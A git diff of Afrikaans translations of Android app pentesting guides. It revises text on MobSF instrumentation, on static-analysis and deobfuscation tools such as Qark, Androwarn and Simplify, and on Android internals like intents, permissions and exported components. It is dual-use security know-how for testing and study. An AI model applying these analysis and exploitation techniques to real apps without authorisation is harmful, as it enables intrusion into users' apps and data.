druk terwyl jy die toepassing gebruik (baie lawaaiig) -- **Vang String Vergelykings**: Kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Onwaar was. -- **Lade Klas Metodes**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk. -- **Soek Klas Patroon**: Soek klasse volgens patroon -- **Trace Klas Metodes**: **Trace** 'n **hele klas** (sien insette en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes traceer. +- **Laden Klasse Opnoem**: Dit sal al die gelaaide klasse druk +- **Strings Vasvang**: Dit sal al die vasgevangde strings druk terwyl jy die toepassing gebruik (baie lawaaierig) +- **String Vergelykings Vasvang**: Kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Vals was. +- **Klas Metodes Opnoem**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk. +- **Klas Patroon Soek**: Soek klasse volgens patroon +- **Klas Metodes Trace**: **Trace** 'n **hele klas** (sien insette en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes trace. -Sodra jy die bykomende module wat jy wil gebruik gekies het, moet jy druk op "**Start Instrumentation**" en jy sal al die uitsette in "**Frida Live Logs**" sien. +Sodra jy die bykomende module gekies het wat jy wil gebruik, moet jy druk op "**Start Intrumentation**" en jy sal al die uitsette in "**Frida Live Logs**" sien. **Shell** -Mobsf bied jou ook 'n shell met 'n paar **adb** opdragte, **MobSF opdragte**, en algemene **shell** **opdragte** aan die onderkant van die dinamiese analise bladsy. Sommige interessante opdragte: +Mobsf bied jou ook 'n shell met 'n paar **adb** opdragte, **MobSF opdragte**, en algemene **shell** **opdragte** onderaan die dinamiese analise bladsy. Sommige interessante opdragte: ```bash help shell ls @@ -573,10 +573,10 @@ receivers Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen knoppie. Van die tweede opsie kan jy **stuur** die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP.\ Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die versoek_ --> druk "**Send to Fuzzer**" --> _kies die proxy adres_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **fuzz http versoeke** en soek na kwesbaarhede. +Sodra jy die dinamiese analise met MobSF voltooi het, kan jy druk op "**Start Web API Fuzzer**" om **http versoeke te fuzz** en soek na kwesbaarhede. > [!NOTE] -> Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proxy-instellings regstel deur: +> Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proxy-instellings regstel deur te doen: > > ``` > adb shell settings put global http_proxy :0 @@ -595,7 +595,7 @@ Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI** uit te voer. ### [Qark](https://github.com/linkedin/qark) -Hierdie gereedskap is ontwerp om na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede** te soek, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie. +Hierdie gereedskap is ontwerp om te soek na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede**, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -615,7 +615,7 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER is 'n opdraglyn-toepassing wat in Windows, MacOS X en Linux gebruik kan word, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede te ontdek. +SUPER is 'n opdraglyn-toepassing wat gebruik kan word in Windows, MacOS X en Linux, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede te ontdek. Alle reëls is gefokus in 'n `rules.json` lêer, en elke maatskappy of toetsers kan hul eie reëls skep om te analiseer wat hulle nodig het. @@ -627,11 +627,11 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statische kode analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer. +StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statiese kode analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer. -Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa lêer) op die StaCoAn-toepassing sleep en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry. +Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa lêer) op die StaCoAn toepassing sleep en dit 'n visuele en draagbare verslag vir jou sal genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry. -Laai [nuutste vrystelling](https://github.com/vincentcox/StaCoAn/releases): +Laai [nuutste weergawe](https://github.com/vincentcox/StaCoAn/releases) af: ``` ./stacoan ``` @@ -647,7 +647,7 @@ androbugs.exe -f [APK file] **Androwarn** is 'n hulpmiddel wat as hoofdoel het om die gebruiker te detecteer en te waarsku oor potensiële kwaadwillige gedrag wat deur 'n Android-toepassing ontwikkel is. -Die detectie word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek. +Die opsporing word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek. Hierdie hulpmiddel soek na **gewone gedrag van "slegte" toepassings** soos: Telefoonidentifiseerders eksfiltrasie, Klank/video vloei onderskepping, PIM data wysiging, Willekeurige kode uitvoering... ``` @@ -659,40 +659,40 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 **MARA** is 'n **M**obiele **A**pplicatie **R**everse engineering en **A**nalise Raamwerk. Dit is 'n hulpmiddel wat algemeen gebruikte mobiele toepassings reverse engineering en analise hulpmiddels saamvoeg, om te help met die toetsing van mobiele toepassings teen die OWASP mobiele sekuriteitsbedreigings. Die doel daarvan is om hierdie taak makliker en vriendeliker te maak vir mobiele toepassingsontwikkelaars en sekuriteitsprofessionals. -Dit kan: +Dit is in staat om: -- Java en Smali kode onttrek met behulp van verskillende hulpmiddels -- APK's analiseer met: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Privaat inligting uit die APK onttrek met behulp van regexps. -- Die Manifest analiseer. -- Gevonde domeine analiseer met: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb) -- APK deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com) +- Java en Smali kode te onttrek met behulp van verskillende hulpmiddels +- APK's te analiseer met: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Privaatsakennisse uit die APK te onttrek met behulp van regexps. +- Die Manifest te analiseer. +- Gevonde domeine te analiseer met: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb) +- APK te deobfuscate via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous Nuttig om malware te detecteer: [https://koodous.com/](https://koodous.com) -## Obfuskerende/Deobfuskerende kode +## Obfuscating/Deobfuscating code Let daarop dat dit afhang van die diens en konfigurasie wat jy gebruik om die kode te obfuskeer. Geheime mag of mag nie obfuskeer wees nie. ### [ProGuard]() -Van [Wikipedia](): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit kan bytecode optimaliseer sowel as ongebruikte instruksies opspoor en verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2. +Van [Wikipedia](): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit is in staat om bytecode te optimaliseer sowel as om ongebruikte instruksies te identifiseer en te verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2. ProGuard word versprei as deel van die Android SDK en loop wanneer die toepassing in vrystellingmodus gebou word. ### [DexGuard](https://www.guardsquare.com/dexguard) -Vind 'n stap-vir-stap gids om die apk te deobfuskeer in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Vind 'n stap-vir-stap gids om die apk te deobfuscate in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(Van daardie gids) Laas keer wat ons gekontroleer het, was die Dexguard werksmodus: +(Van daardie gids) Laas keer wat ons gekyk het, was die Dexguard werksmodus: - laai 'n hulpbron as 'n InputStream; - voer die resultaat aan 'n klas wat van FilterInputStream erf om dit te ontsleutel; -- doen 'n nuttelose obfuskeringsproses om 'n paar minute se tyd van 'n omkeerder te mors; +- doen 'n paar nuttelose obfuskerings om 'n paar minute se tyd van 'n omgekeerder te mors; - voer die ontsleutelde resultaat aan 'n ZipInputStream om 'n DEX-lêer te kry; -- laastens laai die resulterende DEX as 'n Hulpbron met behulp van die `loadDex` metode. +- laai uiteindelik die resulterende DEX as 'n Hulpbron met behulp van die `loadDex` metode. ### [DeGuard](http://apk-deguard.com) @@ -702,11 +702,11 @@ Jy kan 'n obfuskeer APK na hul platform oplaai. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -Dit is 'n LLM hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android toepassings te vind en android toepassingskode te deobfuskeer. Gebruik Google se Gemini publieke API. +Dit is 'n LLM-hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android-apps te vind en android-appkode te deobfuscate. Gebruik Google's Gemini openbare API. ### [Simplify](https://github.com/CalebFenton/simplify) -Dit is 'n **generiese android deobfuskeerder.** Simplify **voortvirtueel 'n app** om sy gedrag te verstaan en dan **probeer om die kode te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens om te verstaan. Elke optimalisering tipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuskering gebruik word nie. +Dit is 'n **generiese android deobfuscator.** Simplify **voortvirtueel 'n app** om sy gedrag te verstaan en dan **probeer om die kode te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens om te verstaan. Elke optimaliseringstipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuskering gebruik word nie. ### [APKiD](https://github.com/rednaga/APKiD) @@ -714,7 +714,7 @@ APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **ko ### Manual -[Lees hierdie tutoriaal om 'n paar truuks te leer oor **hoe om pasgemaakte obfuskering te reverseer**](manual-deobfuscation.md) +[Lees hierdie tutoriaal om 'n paar truuks te leer oor **hoe om pasgemaakte obfuskerings te reverse**](manual-deobfuscation.md) ## Labs diff --git a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md index c8ccb9c9c..8cbd9f28f 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -11,11 +11,11 @@ ### UID Skeiding -**Elke toepassing word aan 'n spesifieke Gebruiker ID toegeken**. Dit gebeur tydens die installasie van die app sodat **die app slegs met lêers wat aan sy Gebruiker ID behoort of gedeelde** lêers kan interaksie hê. Daarom kan slegs die app self, sekere komponente van die OS en die wortelgebruiker toegang tot die toepassingsdata hê. +**Elke toepassing word aan 'n spesifieke Gebruiker ID toegeken**. Dit gebeur tydens die installasie van die app sodat **die app slegs met lêers wat aan sy Gebruiker ID behoort of gedeelde** lêers kan kommunikeer. Daarom kan slegs die app self, sekere komponente van die OS en die wortelgebruiker toegang tot die toepassingsdata hê. ### UID Deel -**Twee toepassings kan gekonfigureer word om dieselfde UID te gebruik**. Dit kan nuttig wees om inligting te deel, maar as een daarvan gecompromitteer word, sal die data van beide toepassings gecompromitteer wees. Dit is waarom hierdie gedrag **afgeraadsaam** word.\ +**Twee toepassings kan gekonfigureer word om dieselfde UID te gebruik**. Dit kan nuttig wees om inligting te deel, maar as een daarvan gecompromitteer word, sal die data van beide toepassings gecompromitteer wees. Dit is waarom hierdie gedrag **afgeraadpleeg** word.\ **Om dieselfde UID te deel, moet toepassings dieselfde `android:sharedUserId` waarde in hul manifes definieer.** ### Sandboxing @@ -25,8 +25,8 @@ Vanaf Android 5.0(L) word **SELinux** afgedwing. Basies het SELinux alle prosesi ### Toestemmings -Wanneer jy 'n **app installeer en dit vra vir toestemmings**, vra die app vir die toestemmings wat in die **`uses-permission`** elemente in die **AndroidManifest.xml** lêer geconfigureer is. Die **uses-permission** element dui die naam van die aangevraagde toestemming binne die **naam** **attribuut aan.** Dit het ook die **maxSdkVersion** attribuut wat stop om vir toestemmings te vra op weergawes hoër as die een wat gespesifiseer is.\ -Let daarop dat android toepassings nie al die toestemmings aan die begin hoef te vra nie, hulle kan ook **dynamies vir toestemmings vra** maar al die toestemmings moet **verklaar** word in die **manifest.** +Wanneer jy 'n **app installeer en dit vra om toestemmings**, vra die app vir die toestemmings wat in die **`uses-permission`** elemente in die **AndroidManifest.xml** lê. Die **uses-permission** element dui die naam van die aangevraagde toestemming binne die **naam** **attribuut aan.** Dit het ook die **maxSdkVersion** attribuut wat stop om vir toestemmings te vra op weergawes hoër as die een wat gespesifiseer is.\ +Let daarop dat android toepassings nie al die toestemmings aan die begin hoef te vra nie, hulle kan ook **dynamies om toestemmings vra** maar al die toestemmings moet **verklaar** word in die **manifest.** Wanneer 'n app funksionaliteit blootstel, kan dit die **toegang beperk tot slegs apps wat 'n gespesifiseerde toestemming het**.\ 'n Toestemmingselement het drie attribuut: @@ -41,7 +41,7 @@ Wanneer 'n app funksionaliteit blootstel, kan dit die **toegang beperk tot slegs ## Vooraf Geïnstalleerde Toepassings -Hierdie apps word gewoonlik in die **`/system/app`** of **`/system/priv-app`** gidse gevind en sommige van hulle is **geoptimaliseer** (jy mag dalk nie eens die `classes.dex` lêer vind nie). Hierdie toepassings is die moeite werd om na te kyk omdat hulle soms **met te veel toestemmings loop** (as wortel). +Hierdie apps word gewoonlik in die **`/system/app`** of **`/system/priv-app`** gidse gevind en sommige van hulle is **geoptimaliseer** (jy mag nie eens die `classes.dex` lêer vind nie). Hierdie toepassings is die moeite werd om na te kyk omdat hulle soms **met te veel toestemmings loop** (as wortel). - Diegene wat saam met die **AOSP** (Android OpenSource Project) **ROM** verskaf word - Bygevoeg deur die toestel **fabrikant** @@ -59,10 +59,10 @@ Sodra die su binêre geconfigureer is, word 'n ander Android app gebruik om met ### ROMs -Dit is moontlik om die **OS te vervang deur 'n pasgemaakte firmware te installeer**. Deur dit te doen, is dit moontlik om die nuttigheid van 'n ou toestel uit te brei, sagtewarebeperkings te omseil of toegang tot die nuutste Android kode te verkry.\ -**OmniROM** en **LineageOS** is twee van die gewildste firmwares om te gebruik. +Dit is moontlik om die **OS te vervang deur 'n aangepaste firmware te installeer**. Deur dit te doen, is dit moontlik om die nuttigheid van 'n ou toestel uit te brei, sagtewarebeperkings te omseil of toegang tot die nuutste Android kode te verkry.\ +**OmniROM** en **LineageOS** is twee van die gewildste firmware om te gebruik. -Let daarop dat **dit nie altyd nodig is om die toestel te root** om 'n pasgemaakte firmware te installeer nie. **Sommige fabrikante laat** die ontsluiting van hul bootloaders op 'n goed gedokumenteerde en veilige manier toe. +Let daarop dat **dit nie altyd nodig is om die toestel te root** om 'n aangepaste firmware te installeer nie. **Sommige fabrikante laat** die ontsluiting van hul bootloaders op 'n goed gedokumenteerde en veilige manier toe. ### Gevolge @@ -87,13 +87,13 @@ Sodra 'n toestel ge-root is, kan enige app toegang as wortel vra. As 'n kwaadwil - `x86`: kode vir X86 verwerkers - `mips`: kode vir slegs MIPS verwerkers - assets/ -- Berg miscellaneous lêers wat deur die app benodig word, moontlik insluitend addisionele inheemse biblioteke of DEX lêers, soms deur kwaadwillige skrywers gebruik om addisionele kode te verberg. +- Berg miscellaneous lêers wat deur die app benodig word, moontlik insluitend addisionele inheemse biblioteke of DEX lêers, soms deur kwaadwillige outeurs gebruik om addisionele kode te verberg. - res/ - Bevat hulpbronne wat nie in resources.arsc gecompileer is nie. ### **Dalvik & Smali** -In Android ontwikkeling, **Java of Kotlin** word gebruik om apps te skep. In plaas daarvan om die JVM soos in lessenaarapps te gebruik, compileer Android hierdie kode in **Dalvik Uitvoerbare (DEX) bytecode**. Eerder het die Dalvik virtuele masjien hierdie bytecode hanteer, maar nou neem die Android Runtime (ART) oor in nuwer Android weergawes. +In Android ontwikkeling, **Java of Kotlin** word gebruik om apps te skep. In plaas daarvan om die JVM soos in lessenaar apps te gebruik, compileer Android hierdie kode in **Dalvik Uitvoerbare (DEX) bytecode**. Eerder het die Dalvik virtuele masjien hierdie bytecode hanteer, maar nou neem die Android Runtime (ART) oor in nuwer Android weergawes. Vir omgekeerde ingenieurswese, word **Smali** noodsaaklik. Dit is die menslike leesbare weergawe van DEX bytecode, wat soos assembly taal optree deur bronkode in bytecode instruksies te vertaal. Smali en baksmali verwys na die samestelling en ontbinding gereedskap in hierdie konteks. @@ -114,13 +114,13 @@ As kwesbaar, **kan Intents gebruik word om 'n verskeidenheid aanvalle uit te voe ### Intent-Filter -**Intent Filters** definieer **hoe 'n aktiwiteit, diens, of Uitsend Receiver met verskillende tipes Intents kan interaksie hê**. Essensieel beskryf hulle die vermoëns van hierdie komponente, soos watter aksies hulle kan uitvoer of die tipes uitsendings wat hulle kan verwerk. Die primêre plek om hierdie filters te verklaar is binne die **AndroidManifest.xml lêer**, hoewel dit ook 'n opsie is om dit vir Uitsend Receivers te kodeer. +**Intent Filters** definieer **hoe 'n aktiwiteit, diens, of Uitsend Receiver met verskillende tipes Intents kan kommunikeer**. Essensieel beskryf hulle die vermoëns van hierdie komponente, soos watter aksies hulle kan uitvoer of die tipes uitsendings wat hulle kan verwerk. Die primêre plek om hierdie filters te verklaar is binne die **AndroidManifest.xml lêer**, hoewel dit ook 'n opsie is om dit vir Uitsend Receivers te kodeer. -Intent Filters bestaan uit kategorieë, aksies, en data filters, met die moontlikheid om addisionele metadata in te sluit. Hierdie opstelling laat komponente toe om spesifieke Intents te hanteer wat by die verklaarde kriteria pas. +Intent Filters bestaan uit kategorieë, aksies, en data filters, met die moontlikheid om addisionele metadata in te sluit. Hierdie opstelling laat komponente toe om spesifieke Intents te hanteer wat aan die verklaarde kriteria voldoen. -'n Kritieke aspek van Android komponente (aktiwiteite/dienste/inhoud verskaffers/uitsend receivers) is hul sigbaarheid of **publieke status**. 'n Komponent word as publiek beskou en kan met ander apps interaksie hê as dit **`exported`** is met 'n waarde van **`true`** of as 'n Intent Filter vir dit in die manifest verklaar is. Daar is egter 'n manier vir ontwikkelaars om hierdie komponente eksplisiet privaat te hou, wat verseker dat hulle nie onbedoeld met ander apps interaksie het nie. Dit word bereik deur die **`exported`** attribuut op **`false`** in hul manifest definisies te stel. +'n Kritieke aspek van Android komponente (aktiwiteite/dienste/inhoud verskaffers/uitsend receivers) is hul sigbaarheid of **publieke status**. 'n Komponent word as publiek beskou en kan met ander apps kommunikeer as dit **`exported`** is met 'n waarde van **`true`** of as 'n Intent Filter vir dit in die manifest verklaar is. Daar is egter 'n manier vir ontwikkelaars om hierdie komponente eksplisiet privaat te hou, wat verseker dat hulle nie onbedoeld met ander apps kommunikeer nie. Dit word bereik deur die **`exported`** attribuut op **`false`** in hul manifest definisies in te stel. -Boonop het ontwikkelaars die opsie om toegang tot hierdie komponente verder te beveilig deur spesifieke toestemmings te vereis. Die **`permission`** attribuut kan gestel word om af te dwing dat slegs apps met die aangewese toestemming toegang tot die komponent kan verkry, wat 'n ekstra laag van sekuriteit en beheer oor wie met dit kan interaksie hê, toevoeg. +Boonop het ontwikkelaars die opsie om toegang tot hierdie komponente verder te beveilig deur spesifieke toestemmings te vereis. Die **`permission`** attribuut kan gestel word om af te dwing dat slegs apps met die aangewese toestemming toegang tot die komponent kan verkry, wat 'n ekstra laag van sekuriteit en beheer oor wie met dit kan kommunikeer, toevoeg. ```java @@ -143,7 +143,7 @@ Hierdie intent moet binne die manifest verklaar word soos in die volgende voorbe ``` -'n intent-filter moet die **aksie**, **data** en **kategorie** ooreenstem om 'n boodskap te ontvang. +'n Intent-filter moet die **aksie**, **data** en **kategorie** ooreenstem om 'n boodskap te ontvang. Die "Intent resolusie" proses bepaal watter app elke boodskap moet ontvang. Hierdie proses oorweeg die **prioriteit eienskap**, wat in die **intent-filter verklaring** gestel kan word, en **die een met die hoër prioriteit sal gekies word**. Hierdie prioriteit kan tussen -1000 en 1000 gestel word en toepassings kan die `SYSTEM_HIGH_PRIORITY` waarde gebruik. As 'n **konflik** ontstaan, verskyn 'n "chooser" venster sodat die **gebruiker kan besluit**. @@ -161,17 +161,17 @@ context.startService(intent); ``` ### Pending Intents -Hierdie laat ander toepassings toe om **aksies namens jou toepassing uit te voer**, met behulp van jou app se identiteit en toestemmings. Om 'n Pending Intent te konstrueer, moet 'n **intent en die aksie wat uitgevoer moet word, gespesifiseer word**. As die **verklaarde intent nie Eksplisiet is nie** (nie verklaar watter intent dit kan oproep nie), kan 'n **kwaadwillige toepassing die verklaarde aksie** namens die slagoffer-app uitvoer. Boonop, **as 'n aksie nie gespesifiseer is nie**, sal die kwaadwillige app in staat wees om **enige aksie namens die slagoffer** te doen. +Hierdie laat ander toepassings toe om **aksies namens jou toepassing uit te voer**, met behulp van jou app se identiteit en toestemmings. Om 'n Pending Intent te konstrueer, moet 'n **intent en die aksie wat uitgevoer moet word, gespesifiseer word**. As die **verklaarde intent nie Eksplisiet is nie** (nie verklaar watter intent dit kan oproep nie), kan 'n **kwaadwillige toepassing die verklaarde aksie** namens die slagoffer-app uitvoer. Boonop, **as 'n aksie nie gespesifiseer is nie**, sal die kwaadwillige app in staat wees om **enige aksie namens die slagoffer** uit te voer. ### Broadcast Intents -In teenstelling met die vorige intents, wat slegs deur een app ontvang word, **kan broadcast intents deur meerdere apps ontvang word**. Dit is egter vanaf API weergawe 14 **moontlik om die app wat die boodskap moet ontvang, te spesifiseer** met behulp van Intent.setPackage. +In teenstelling met die vorige intents, wat slegs deur een app ontvang word, **kan broadcast intents deur verskeie apps ontvang word**. Dit is egter vanaf API weergawe 14 **moontlik om die app wat die boodskap moet ontvang, te spesifiseer** met behulp van Intent.setPackage. Alternatiewelik is dit ook moontlik om **'n toestemming te spesifiseer wanneer die broadcast gestuur word**. Die ontvangende app sal daardie toestemming moet hê. -Daar is **twee tipes** Uitsendings: **Normaal** (asynchrone) en **Geordende** (sinchrone). Die **volgorde** is gebaseer op die **geconfigureerde prioriteit binne die ontvanger** element. **Elke app kan die Uitsending verwerk, oordra of laat val.** +Daar is **twee tipes** Uitsendings: **Normaal** (asynchrone) en **Geordende** (synchroniese). Die **volgorde** is gebaseer op die **geconfigureerde prioriteit binne die ontvanger** element. **Elke app kan die Broadcast verwerk, oordra of laat val.** -Dit is moontlik om 'n **uitsending** te **stuur** met die funksie `sendBroadcast(intent, receiverPermission)` van die `Context` klas.\ +Dit is moontlik om 'n **broadcast** te **stuur** met die funksie `sendBroadcast(intent, receiverPermission)` van die `Context` klas.\ Jy kan ook die funksie **`sendBroadcast`** van die **`LocalBroadCastManager`** gebruik wat verseker dat die **boodskap nooit die app verlaat nie**. Deur dit te gebruik, sal jy selfs nie 'n ontvanger komponent hoef te eksporteer nie. ### Sticky Broadcasts @@ -221,7 +221,7 @@ Die **Android Interface Definition Language (AIDL)** is ontwerp om kommunikasie ### Sleutelkonsepte -- **Gekoppelde Dienste**: Hierdie dienste gebruik AIDL vir IPC, wat aktiwiteite of komponente in staat stel om aan 'n diens te bind, versoeke te maak en antwoorde te ontvang. Die `onBind` metode in die diens se klas is krities vir die inisiering van interaksie, wat dit 'n belangrike area maak vir sekuriteitsherziening in die soeke na kwesbaarhede. +- **Gekoppelde Dienste**: Hierdie dienste gebruik AIDL vir IPC, wat aktiwiteite of komponente in staat stel om aan 'n diens te bind, versoeke te maak en antwoorde te ontvang. Die `onBind` metode in die diens se klas is krities vir die inisie van interaksie, wat dit 'n belangrike area maak vir sekuriteitsherziening in die soeke na kwesbaarhede. - **Messenger**: As 'n gekoppelde diens, fasiliteer Messenger IPC met 'n fokus op die verwerking van data deur die `onBind` metode. Dit is noodsaaklik om hierdie metode noukeurig te ondersoek vir enige onveilige datahantering of uitvoering van sensitiewe funksies. @@ -231,12 +231,12 @@ Die **Android Interface Definition Language (AIDL)** is ontwerp om kommunikasie Hierdie sluit in: **Aktiwiteite, Dienste, Uitsendingsontvangers en Verskaffers.** -### Laaier Aktiwiteit en ander aktiwiteite +### Laaieraktiwiteit en ander aktiwiteite In Android-toepassings is **aktiwiteite** soos skerms, wat verskillende dele van die app se gebruikerskoppelvlak vertoon. 'n App kan baie aktiwiteite hê, elkeen wat 'n unieke skerm aan die gebruiker aanbied. -Die **laaier aktiwiteit** is die hooftoegangspunt tot 'n app, wat gelaai word wanneer jy op die app se ikoon tik. Dit is gedefinieer in die app se manifeslêer met spesifieke MAIN en LAUNCHER intents: -```markup +Die **laaieraktiwiteit** is die hooftoegangspunt tot 'n app, wat gelaai word wanneer jy op die app se ikoon tik. Dit is gedefinieer in die app se manifeslêer met spesifieke MAIN en LAUNCHER intents: +```html @@ -286,21 +286,21 @@ Dienste is veelsydig; hulle kan op verskillende maniere geaktiveer word, met **I **Uitsendingsontvangers** dien as luisteraars in 'n boodskapstelsel, wat verskeie toepassings toelaat om op dieselfde boodskappe van die stelsel te reageer. 'n App kan **'n ontvanger registreer** op **twee primêre maniere**: deur die app se **Manifest** of **dynamies** binne die app se kode via die **`registerReceiver`** API. In die Manifest word uitsendings gefiltreer met toestemmings, terwyl dinamies geregistreerde ontvangers ook toestemmings kan spesifiseer tydens registrasie. -**Intent filters** is van kardinale belang in beide registrasiemethoden, wat bepaal watter uitsendings die ontvanger aktiveer. Sodra 'n ooreenstemmende uitsending gestuur word, word die ontvanger se **`onReceive`** metode aangeroep, wat die app in staat stel om ooreenkomstig te reageer, soos om gedrag aan te pas in reaksie op 'n lae battery waarskuwing. +**Intent filters** is van kardinale belang in beide registrasiemetodes, wat bepaal watter uitsendings die ontvanger aktiveer. Sodra 'n ooreenstemmende uitsending gestuur word, word die ontvanger se **`onReceive`** metode aangeroep, wat die app in staat stel om ooreenkomstig te reageer, soos om gedrag aan te pas in reaksie op 'n lae battery waarskuwing. -Uitsendings kan **asynchrone** wees, wat alle ontvangers sonder volgorde bereik, of **sinchroniese**, waar ontvangers die uitsending ontvang op grond van ingestelde prioriteite. Dit is egter belangrik om die potensiële sekuriteitsrisiko te noem, aangesien enige app homself kan prioriteer om 'n uitsending te onderskep. +Uitsendings kan **asynchrone** wees, wat alle ontvangers sonder volgorde bereik, of **synchronies**, waar ontvangers die uitsending ontvang op grond van ingestelde prioriteite. Dit is egter belangrik om die potensiële sekuriteitsrisiko te noem, aangesien enige app homself kan prioriteer om 'n uitsending te onderskep. Om 'n ontvanger se funksionaliteit te verstaan, soek na die **`onReceive`** metode binne sy klas. Hierdie metode se kode kan die ontvangde Intent manipuleer, wat die behoefte aan datavalidatie deur ontvangers beklemtoon, veral in **Bestelde Uitsendings**, wat die Intent kan wysig of laat val. ### Inhoudverskaffer -**Inhoudverskaffers** is noodsaaklik vir **die deel van gestruktureerde data** tussen toepassings, wat die belangrikheid van die implementering van **toestemmings** beklemtoon om datasekuriteit te verseker. Hulle laat toepassings toe om toegang te verkry tot data van verskeie bronne, insluitend databasisse, lêerstelsels of die web. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is noodsaaklik om toegang te beheer. Daarbenewens kan tydelike toegang verleen word deur **`grantUriPermission`** instellings in die app se manifest, wat eienskappe soos `path`, `pathPrefix`, en `pathPattern` benut vir gedetailleerde toegangsbeheer. +**Inhoudverskaffers** is noodsaaklik vir **die deel van gestruktureerde data** tussen toepassings, wat die belangrikheid van die implementering van **toestemmings** beklemtoon om datasekuriteit te verseker. Hulle laat toepassings toe om toegang te verkry tot data van verskeie bronne, insluitend databasisse, lêerstelsels of die web. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is van kardinale belang om toegang te beheer. Boonop kan tydelike toegang verleen 